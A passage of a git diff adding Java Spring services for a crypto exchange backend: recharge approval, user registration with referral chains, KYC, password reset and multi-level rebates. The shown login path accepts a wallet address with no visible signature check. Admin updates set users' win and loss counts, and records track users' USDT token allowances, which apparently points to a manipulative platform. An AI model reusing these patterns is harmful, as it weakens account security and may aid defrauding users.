tAppRecharge.setUpdateTime(DateUtils.getNowDate()); + return tAppRechargeMapper.updateTAppRecharge(tAppRecharge); + } + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的用户充值主键 + * @return 结果 + */ + @Override + public int deleteTAppRechargeByIds(Long[] ids) + { + return tAppRechargeMapper.deleteTAppRechargeByIds(ids); + } + + /** + * 删除用户充值信息 + * + * @param id 用户充值主键 + * @return 结果 + */ + @Override + public int deleteTAppRechargeById(Long id) + { + return tAppRechargeMapper.deleteTAppRechargeById(id); + } + + @Override + public Map sumtotal(TAppRecharge tAppRecharge) { + return tAppRechargeMapper.sumtotal(tAppRecharge); + } + + @Override + public List selectRechargeList(TAppRecharge tAppRecharge) { + return tAppRechargeMapper.selectRechargeList(tAppRecharge); + } + + + @Override + public String failedOrder(TAppRecharge tAppRecharge) { + String username = SecurityUtils.getUsername(); + String msg = ""; + TAppRecharge recharge = tAppRechargeMapper.selectById(tAppRecharge.getId()); + if (recharge!=null){ + if (RecoenOrderStatusEmun.audit.getCode().equals(recharge.getStatus())) { + // 审核驳回 + recharge.setStatus(RecoenOrderStatusEmun.failed.getCode()); + recharge.setUpdateBy(username); + recharge.setUpdateTime(new Date()); + recharge.setRemark(tAppRecharge.getRemark()); + recharge.setRechargeRemark(tAppRecharge.getRechargeRemark()); + recharge.setOperateTime(new Date()); + tAppRechargeMapper.updateStatus(recharge); + }else{ + msg = "订单状态不对,不能审核"; + } + }else{ + msg = "没有查询到需要审核的订单"; + } + return msg; + } + + @Override + public List selectRechargeVoice(String parentId) { + return tAppRechargeMapper.selectRechargeVoice(parentId); + } + + @Override + public BigDecimal getAllRecharge(String parentId, Integer type) { + return tAppRechargeMapper.getAllRecharge(parentId,type); + } + + @Override + @Transactional + public String passOrder(TAppRecharge tAppRecharge) { + String msg = ""; + String username = SecurityUtils.getUsername(); + BigDecimal usdt; + BigDecimal beforeMount = null; + String remark = null; + // String coin=""; + TAppRecharge recharge = tAppRechargeMapper.selectById(tAppRecharge.getId()); + if (recharge!=null){ + //资产 + Map assetMap=tAppAssetService.getAssetByUserIdList(recharge.getUserId()); + recharge.setRealAmount(tAppRecharge.getRealAmount()); + usdt=recharge.getAmount(); + String type=recharge.getType(); + String coin=recharge.getCoin(); + if (RecoenOrderStatusEmun.audit.getCode().equals(recharge.getStatus())) { + recharge.setStatus(RecoenOrderStatusEmun.pass.getCode()); + recharge.setUpdateBy(username); + recharge.setUpdateTime(new Date()); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(recharge.getUserId()); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (currencyList!=null && currencyList.size()>0){ + for (AssetCoinSetting assetCoin: currencyList) { + if (assetCoin.getCoinName().equals(type)){ + TAppAsset asset= assetMap.get(assetCoin.getCoin()+recharge.getUserId()); + if(null ==asset){ + //充值币种不存在 去初始化资产 + tAppAssetService.createAsset(user,assetCoin.getCoin().toLowerCase(),AssetEnum.PLATFORM_ASSETS.getCode()); + asset=tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId,user.getUserId()) + .eq(TAppAsset::getType,AssetEnum.PLATFORM_ASSETS.getCode()) + .eq(TAppAsset::getSymbol,assetCoin.getCoin().toLowerCase()) + ); + } + beforeMount = asset.getAvailableAmount(); + remark = assetCoin.getCoinName()+"充值"; + coin=assetCoin.getCoin(); + tAppAssetService.updateByUserId(TAppAsset.builder().type(asset.getType()).symbol(coin).userId(recharge.getUserId()).amout(asset.getAmout().add(usdt)).availableAmount(beforeMount.add(usdt)).build()); + } + } + } +// + walletRecordService.generateRecord(recharge.getUserId(), recharge.getAmount(), RecordEnum.RECHARGE.getCode(), username, recharge.getSerialId(),remark,beforeMount, beforeMount.add(recharge.getAmount()),coin,user.getAdminParentIds()); + recharge.setRemark(tAppRecharge.getRemark()); + recharge.setRechargeRemark(tAppRecharge.getRechargeRemark()); + recharge.setOperateTime(new Date()); + tAppRechargeMapper.updateStatus(recharge); + + itActivityRechargeService.caseBackToFather(recharge.getUserId(), recharge.getAmount(),type,username,recharge.getSerialId()); + + //充值打码累计 + Setting addMosaicSetting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(addMosaicSetting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(addMosaicSetting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) + && addMosaic.getIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (Objects.isNull(user.getRechargeAmont())) user.setRechargeAmont(BigDecimal.ZERO); + if (!"usdt".equals(recharge.getCoin())) { + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + recharge.getCoin().toLowerCase()); + user.setRechargeAmont(user.getRechargeAmont().add(recharge.getAmount().multiply(price))); + } else { + user.setRechargeAmont(user.getRechargeAmont().add(recharge.getAmount())); + } + tAppUserMapper.updateRechargeAmont(user); + }catch (Exception e) { + e.printStackTrace(); + } + } + } + }else{ + log.error("[审核订单>>>]","订单状态不对,不能审核"); + msg = "订单状态不对,不能审核"; + } + }else{ + msg = "没有查询到需要审核的订单"; + } + return msg; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java new file mode 100644 index 0000000..285e297 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.mapper.TAppUserDetailMapper; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 用户详细信息Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +public class TAppUserDetailServiceImpl extends ServiceImpl implements ITAppUserDetailService +{ + @Resource + private TAppUserDetailMapper tAppUserDetailMapper; + + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + @Override + public TAppUserDetail selectTAppUserDetailById(Long id) + { + return tAppUserDetailMapper.selectTAppUserDetailById(id); + } + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息 + */ + @Override + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail) + { + return tAppUserDetailMapper.selectTAppUserDetailList(tAppUserDetail); + } + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + @Override + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail) + { + tAppUserDetail.setCreateTime(DateUtils.getNowDate()); + return tAppUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + } + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + @Override + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail) + { + tAppUserDetail.setUpdateTime(DateUtils.getNowDate()); + return tAppUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + } + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的用户详细信息主键 + * @return 结果 + */ + @Override + public int deleteTAppUserDetailByIds(Long[] ids) + { + return tAppUserDetailMapper.deleteTAppUserDetailByIds(ids); + } + + /** + * 删除用户详细信息信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + @Override + public int deleteTAppUserDetailById(Long id) + { + return tAppUserDetailMapper.deleteTAppUserDetailById(id); + } + + @Override + public List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail) { + return tAppUserDetailMapper.selectTAppUserDetailLists(tAppUserDetail); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java new file mode 100644 index 0000000..e61b569 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java @@ -0,0 +1,822 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.core.util.StrUtil; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.stream.Collectors; + + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.FinancialRebateSetting; +import com.ruoyi.bussiness.domain.setting.LoginRegisSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.system.service.ISysUserService; +import com.ruoyi.util.EmailUtils; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + + +/** + * 玩家用户Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +@Slf4j +public class TAppUserServiceImpl extends ServiceImpl implements ITAppUserService { + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private SettingService settingService; + @Resource + private TAppAssetMapper tAppAssetMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserDetailMapper appUserDetailMapper; + @Resource + private TUserSymbolAddressMapper tUserSymbolAddressMapper; + @Resource + private TAppAddressInfoMapper tAppAddressInfoMapper; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITAppAssetService appAssetService; + @Resource + private ISysUserService sysUserService; + @Resource + private ITAppAddressInfoService appAddressInfoService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Value("${api-redis-stream.names}") + private String redisStreamNamesApi; + @Resource + private ITCurrencySymbolService currencySymbolService; + @Resource + private IKlineSymbolService klineSymbolService; + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + @Override + public TAppUser selectTAppUserByUserId(Long userId) { + return tAppUserMapper.selectTAppUserByUserId(userId); + } + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户 + */ + @Override + public List selectTAppUserList(TAppUser tAppUser) { + return tAppUserMapper.selectTAppUserList(tAppUser); + } + + /** + * 新增玩家用户 + * + * @param newUser 玩家用户 + * @return 结果 + */ + @Override + @Transactional + public int insertTAppUser(TAppUser newUser, TAppUser user) { + //组装数据 + newUser.setIsFreeze("1"); + newUser.setLoginName(user.getLoginName()); + newUser.setLoginPassword(user.getLoginPassword()); + newUser.setAddress(user.getAddress()); + //判断邀请码是否有效 是否存在上级用户 + String activeCode = user.getActiveCode(); + TAppUser fUser = null; + if (!StrUtil.isEmpty(activeCode)) { + fUser = selectByActiveCode(activeCode); + } + if (null != fUser) { + //存前端关系 + String appParentIds = fUser.getAppParentIds(); + String userId = fUser.getUserId() + ""; + if (StringUtils.isNotBlank(appParentIds)) { + String[] split = appParentIds.split(","); + if (split.length >= 3) { + for (int i = 0; i < split.length - 1; i++) { + userId += "," + split[i]; + } + newUser.setAppParentIds(userId); + } else { + newUser.setAppParentIds(userId + "," + appParentIds); + } + } else { + //存前端关系 + newUser.setAppParentIds(fUser.getUserId() + ""); + } + //存代理关系 + newUser.setAdminParentIds(fUser.getAdminParentIds()); + } + newUser.setWalletType(StringUtils.isEmpty(user.getWalletType()) ? WalletType.ETH.name() : user.getWalletType()); + newUser.setHost(user.getHost()); + newUser.setStatus(0); + //生成邀请码 效验邀请码是否唯一 + List maps = tAppUserMapper.selectActiveCodeList(); + if (maps != null && maps.size() > 0) { + while (true) { + String activeCode1 = OrderUtils.randomNumber(6); + if (!maps.contains(activeCode1)) { + newUser.setActiveCode(activeCode1); + break; + } + } + } else { + newUser.setActiveCode(OrderUtils.randomNumber(6)); + } + newUser.setIsTest(0); + newUser.setTotleAmont(BigDecimal.ZERO); + newUser.setRechargeAmont(BigDecimal.ZERO); + newUser.setLevel(0); + newUser.setBuff(0); + newUser.setCreateTime(DateUtils.getNowDate()); + newUser.setUpdateTime(DateUtils.getNowDate()); + + + int i = tAppUserMapper.insertTAppUser(newUser); + //添加玩家详情表 + TAppUserDetail tAppUserDetail = new TAppUserDetail(); + tAppUserDetail.setUserId(newUser.getUserId()); + //信用设置 + Integer credits = 100; + Setting setting1 = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + if (Objects.nonNull(setting1)) { + LoginRegisSetting loginRegisSetting = JSONUtil.toBean(setting1.getSettingValue(),LoginRegisSetting.class); + credits=loginRegisSetting.getCredits(); + } + tAppUserDetail.setCredits(credits); + appUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + //初始化玩家用户钱包-平台资产 + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)) { + Map> map = currencyList.stream().collect(Collectors.groupingBy(AssetCoinSetting::getCoin)); + map.forEach((key, value) -> { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(newUser.getUserId()); + tAppAsset.setAdress(newUser.getAddress()); + tAppAsset.setSymbol(map.get(key).get(0).getCoin()); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + }); + } + //初始化玩家用户钱包-理财资产 + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(newUser.getUserId()); + tAppAsset.setAdress(newUser.getAddress()); + tAppAsset.setSymbol("usdt"); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.FINANCIAL_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + //初始化玩家用户钱包-合约账户 + tAppAsset.setType(AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + + //如果客户通过地址登录。曾更新授权表。 + if (null != newUser.getAddress() && !"".equals(newUser.getAddress())) { + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setAddress(newUser.getAddress()); + tAppAddressInfo.setAllowedNotice(0L); + tAppAddressInfo.setWalletType(newUser.getWalletType()); + tAppAddressInfo.setUserId(newUser.getUserId()); + tAppAddressInfo.setUsdt(new BigDecimal(0)); + tAppAddressInfo.setEth(new BigDecimal(0)); + tAppAddressInfo.setTrx(new BigDecimal(0)); + tAppAddressInfo.setBtc(new BigDecimal(0)); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(0)); + tAppAddressInfo.setUsdtMonitor(new BigDecimal(0)); + tAppAddressInfoMapper.insertTAppAddressInfo(tAppAddressInfo); + } + return i; + } + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + @Override + public int updateTAppUser(TAppUser tAppUser) { + tAppUser.setUpdateTime(DateUtils.getNowDate()); + int i = tAppUserMapper.updateTAppUser(tAppUser); + if (i>0){ + HashMap object = new HashMap<>(); + object.put("user_status",tAppUser.getUserId()+""); + redisUtil.addStream(redisStreamNamesApi,object); + } + + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectTAppUserDetailByUserId(tAppUser.getUserId()); + tAppUserDetail.setWinNum(tAppUser.getWinNum()==null?0:tAppUser.getWinNum()); + tAppUserDetail.setLoseNum(tAppUser.getLoseNum()==null?0:tAppUser.getLoseNum()); + tAppUserDetail.setCredits(tAppUser.getCredits()==null?0:tAppUser.getCredits()); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + + return i; + } + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的玩家用户主键 + * @return 结果 + */ + @Override + public int deleteTAppUserByUserIds(Long[] userIds) { + return tAppUserMapper.deleteTAppUserByUserIds(userIds); + } + + /** + * 删除玩家用户信息 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + @Override + public int deleteTAppUserByUserId(Long userId) { + return tAppUserMapper.deleteTAppUserByUserId(userId); + } + + @Override + public TAppUserDetail selectUserDetailByUserId(Long userId) { + return appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + } + + @Override + public int checkEmailUnique(String email) { + if (StringUtils.isNoneBlank(email)) { + return tAppUserMapper.selectCount(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + } else { + return 0; + } + } + + @Override + public boolean checkPhoneExist(String phone) { + int count = tAppUserMapper.selectCount(new LambdaQueryWrapper().eq(TAppUser::getPhone,phone)); + return count != 0; + } + + @Override + public TAppUser selectByUserLoginName(String loginName) { + return tAppUserMapper.selectByUserLoginName(loginName); + } + + @Override + public TAppUser selectByAddress(String address) { + return tAppUserMapper.selectByAddress(address); + } + + @Override + public TAppUser login(TAppUser tAppUser) { + if (LoginOrRegisterEnum.ADDRESS.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectByAddress(tAppUser.getAddress()); + } + if (LoginOrRegisterEnum.EMAIL.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, tAppUser.getEmail())); + } + if (LoginOrRegisterEnum.PHONE.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getPhone, tAppUser.getPhone())); + } + if (LoginOrRegisterEnum.LOGIN.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getLoginName, tAppUser.getLoginName())); + } + return null; + } + + @Override + public TAppUser selectByActiveCode(String activeCode) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getActiveCode, activeCode)); + } + + @Override + public List selectActiveCodeList() { + return tAppUserMapper.selectActiveCodeList(); + } + + @Override + public String backPwd(String email, String emailCode, String newPwd) { + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser tAppUser = tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.FIND_PASSWORD.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + if (StringUtils.isEmpty(tAppUser.getLoginName())) { + tAppUser.setLoginName(email); + } + redisCache.deleteObject(emailLoginkey); + tAppUser.setLoginPassword(newPwd); + tAppUserMapper.updateTAppUser(tAppUser); + return null; + } + + @Override + public List selectUnboundAppUser(TAppUser tAppUser) { + return tAppUserMapper.selectUnboundAppUser(tAppUser); + } + + @Override + public void sendEmailCode(String type, String email) { + EmailUtils.formMail(email, type); + } + + @Override + public String bindPhone(String phone, String code) { + Long userId = StpUtil.getLoginIdAsLong(); + + String serverCodeKey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix() + UserCodeTypeEnum.BIND.name(), phone); + String serverCode = redisCache.getCacheObject(serverCodeKey); + if(serverCode == null || !serverCode.equalsIgnoreCase(code)){ + return MessageUtils.message("login.code_error"); + } + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + if(tAppUser.getPhone() != null){ + return MessageUtils.message("user.register.phone.bind"); + } + // + if(checkPhoneExist(phone)){ + return MessageUtils.message("user.register.phone.exist"); + } + + redisCache.deleteObject(serverCodeKey); + tAppUser.setPhone(phone); + updateTAppUser(tAppUser); + return null; + } + @Override + public String bindWalletAddress(String address) { + Long userId = StpUtil.getLoginIdAsLong(); + + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + + tAppUser.setAddress(address); + updateTAppUser(tAppUser); + return null; + } + @Override + public String bindEmail(String email, String emailCode, HttpServletRequest request) { + Long userId = StpUtil.getLoginIdAsLong(); + final String registerEmailCode = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.BIND.name(), email); + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + //未绑定 + if (this.checkEmailUnique(email) > 0) { + return MessageUtils.message("user.register.email.exisit"); + } + if (Boolean.TRUE.equals(redisCache.hasKey(registerEmailCode))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(registerEmailCode).toString())) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(registerEmailCode); + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return MessageUtils.message("user.register.email.format"); + } + tAppUser.setEmail(email); + this.updateTAppUser(tAppUser); + return null; + } + + @Override + public void uploadKYC(TAppUser appUser, String realName, String flag, String idCard, String frontUrl, String backUrl, String handelUrl, String country, String cardType) { + Long userId = appUser.getUserId(); + TAppUser byId = this.getById(userId); + TAppUserDetail appUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + //创建用户详情 + appUserDetail.setUserId(userId); + appUserDetail.setRealName(StringUtils.isEmpty(realName)?byId.getLoginName():realName); + appUserDetail.setIdCard(idCard); + appUserDetail.setFrontUrl(frontUrl); + appUserDetail.setBackUrl(backUrl); + appUserDetail.setHandelUrl(handelUrl); + appUserDetail.setCountry(country); + appUserDetail.setCardType(cardType); + if ("1".equals(flag)) { + appUserDetail.setAuditStatusPrimary(AuditStatusEnum.NOT_REVIEWED.getCode()); + appUserDetail.setOperateTime(new Date()); + } + if ("2".equals(flag)) { + appUserDetail.setAuditStatusAdvanced(AuditStatusEnum.NOT_REVIEWED.getCode()); + appUserDetail.setOperateTime(new Date()); + } + appUserDetailMapper.updateTAppUserDetail(appUserDetail); + HashMap object = new HashMap<>(); + object.put(CacheConstants.VERIFIED_KEY, CacheConstants.VERIFIED_KEY); + redisUtil.addStream(redisStreamNames, object); + } + + @Override + public Map getInfo(long loginIdAsLong) { + Map map = new HashMap<>(); + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, loginIdAsLong)); + TAppUser byId = this.getById(loginIdAsLong); + List tAppAssets = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId, loginIdAsLong)); + //转usdt + if (!CollectionUtils.isEmpty(tAppAssets)) { + tAppAssets.stream().forEach(asset -> { + KlineSymbol klineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, asset.getSymbol().toUpperCase()).and(k->k.eq(KlineSymbol::getMarket, "binance").or().eq(KlineSymbol::getMarket, "echo"))); + if (Objects.nonNull(klineSymbol)) { + asset.setLoge(klineSymbol.getLogo()); + + } + BigDecimal availableAmount = asset.getAvailableAmount(); + if (!"usdt".equals(asset.getSymbol())) { + BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + asset.getSymbol()); + if (StringUtils.isNull(currencyPrice)) { + currencyPrice = BigDecimal.ONE; + } + asset.setExchageAmount(availableAmount.multiply(currencyPrice)); + } else { + asset.setExchageAmount(asset.getAvailableAmount()); + } + }); + } + Long flag = redisCache.getCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix() + byId.getUserId()); + if (null != flag) { + map.put("addressFlag", true); + } else { + map.put("addressFlag", false); + } + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(loginIdAsLong); + if (appAddressInfo != null) { + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) > 0) { + map.put("approve", 1); + } else { + map.put("approve", 0); + } + } + map.put("appAddressInfo", appAddressInfo); + map.put("user", byId); + map.put("detail", tAppUserDetail); + map.put("asset", tAppAssets); + map.put("symbolAddresses", getUserAddress(loginIdAsLong)); + return map; + } + + @Override + public int delUpdateByAdminUserId(Long adminUserId) { + return tAppUserMapper.delUpdateByAdminUserId(adminUserId); + } + + @Override + public String updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code) { + Long userId = StpUtil.getLoginIdAsLong(); + TAppUser user = this.getById(userId); + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + + if ("1".equals(signType)) { + if (!SecurityUtils.matchesPassword(oldPwd, tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("user.login.old.password.error"); + } + } + if ("2".equals(signType)) { + //邮箱找回 + if (!emailOrPhone.equals(user.getEmail())) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.FIND_PASSWORD.name(), emailOrPhone); + if (redisCache.hasKey(emailLoginkey)) { + if (!code.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(emailLoginkey); + } + if ("3".equals(signType)) { + //手机号找回 + if (!emailOrPhone.equals(user.getPhone())) { + return MessageUtils.message("login.phone.not_register"); + } + String phoneLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix() + UserCodeTypeEnum.LOGIN.name(), emailOrPhone); + if (redisCache.hasKey(phoneLoginkey)) { + if (!code.equalsIgnoreCase(redisCache.getCacheObject(phoneLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(phoneLoginkey); + } + newPwd = SecurityUtils.encryptPassword(newPwd); + tAppUserDetail.setUserTardPwd(newPwd); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + return ""; + } + + @Override + public void toBuilderTeamAmount(TMineOrder mineOrder) { + + //查找返佣比例 + Setting setting = settingService.get(SettingEnum.FINANCIAL_REBATE_SETTING.name()); + FinancialRebateSetting financialRebateSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialRebateSetting.class); + if (Boolean.TRUE.equals(financialRebateSetting.getIsOpen())) { + //理财返佣 + Long userId = mineOrder.getUserId(); + //查询上级用户ID; + TAppUser user = tAppUserMapper.selectTAppUserByUserId(userId); + String appParentIds = user.getAppParentIds(); + if (StringUtils.isEmpty(appParentIds)) { + return; + } + //直属上级 返佣比例 + BigDecimal oneRatio = financialRebateSetting.getOneRatio(); + BigDecimal twoRatio = financialRebateSetting.getTwoRatio(); + BigDecimal threeRatio = financialRebateSetting.getThreeRatio(); + BigDecimal amount = mineOrder.getAmount(); + Map map = new HashMap<>(); + if (appParentIds.contains(",")) { + String[] split = appParentIds.split(","); + int count = 0; + for (String s : split) { + Long parentUerId = Long.valueOf(s); + if (0 == count) { + map.put(parentUerId, oneRatio); + } + if (1 == count) { + map.put(parentUerId, twoRatio); + } + if (2 == count) { + map.put(parentUerId, threeRatio); + } + count++; + } + } else { + map.put(Long.valueOf(appParentIds), oneRatio); + } + for (Long id : map.keySet()) { + //计算返佣金额 + BigDecimal returnAmount = amount.multiply(map.get(id)).divide(new BigDecimal("100")).setScale(6, RoundingMode.UP); + //返回至 用户资产 + Map assetMap = appAssetService.getAssetByUserIdList(id); + TAppAsset appAsset = assetMap.get(mineOrder.getCoin() + id); + BigDecimal availableAmount = appAsset.getAvailableAmount(); + appAsset.setAmout(appAsset.getAmout().add(returnAmount)); + appAsset.setAvailableAmount(availableAmount.add(returnAmount)); + appAssetService.updateTAppAsset(appAsset); + //添加账变 + walletRecordService.generateRecord(id, returnAmount, RecordEnum.FINANCIAL_REBATE.getCode(), "System", mineOrder.getOrderNo(), RecordEnum.FINANCIAL_REBATE.getInfo(), availableAmount, availableAmount.add(returnAmount), mineOrder.getCoin(), user.getAdminParentIds()); + } + } + } + + @Override + public String updatePwdByEmail(String email, String emailCode, String newPwd) { + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser tAppUser = tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey 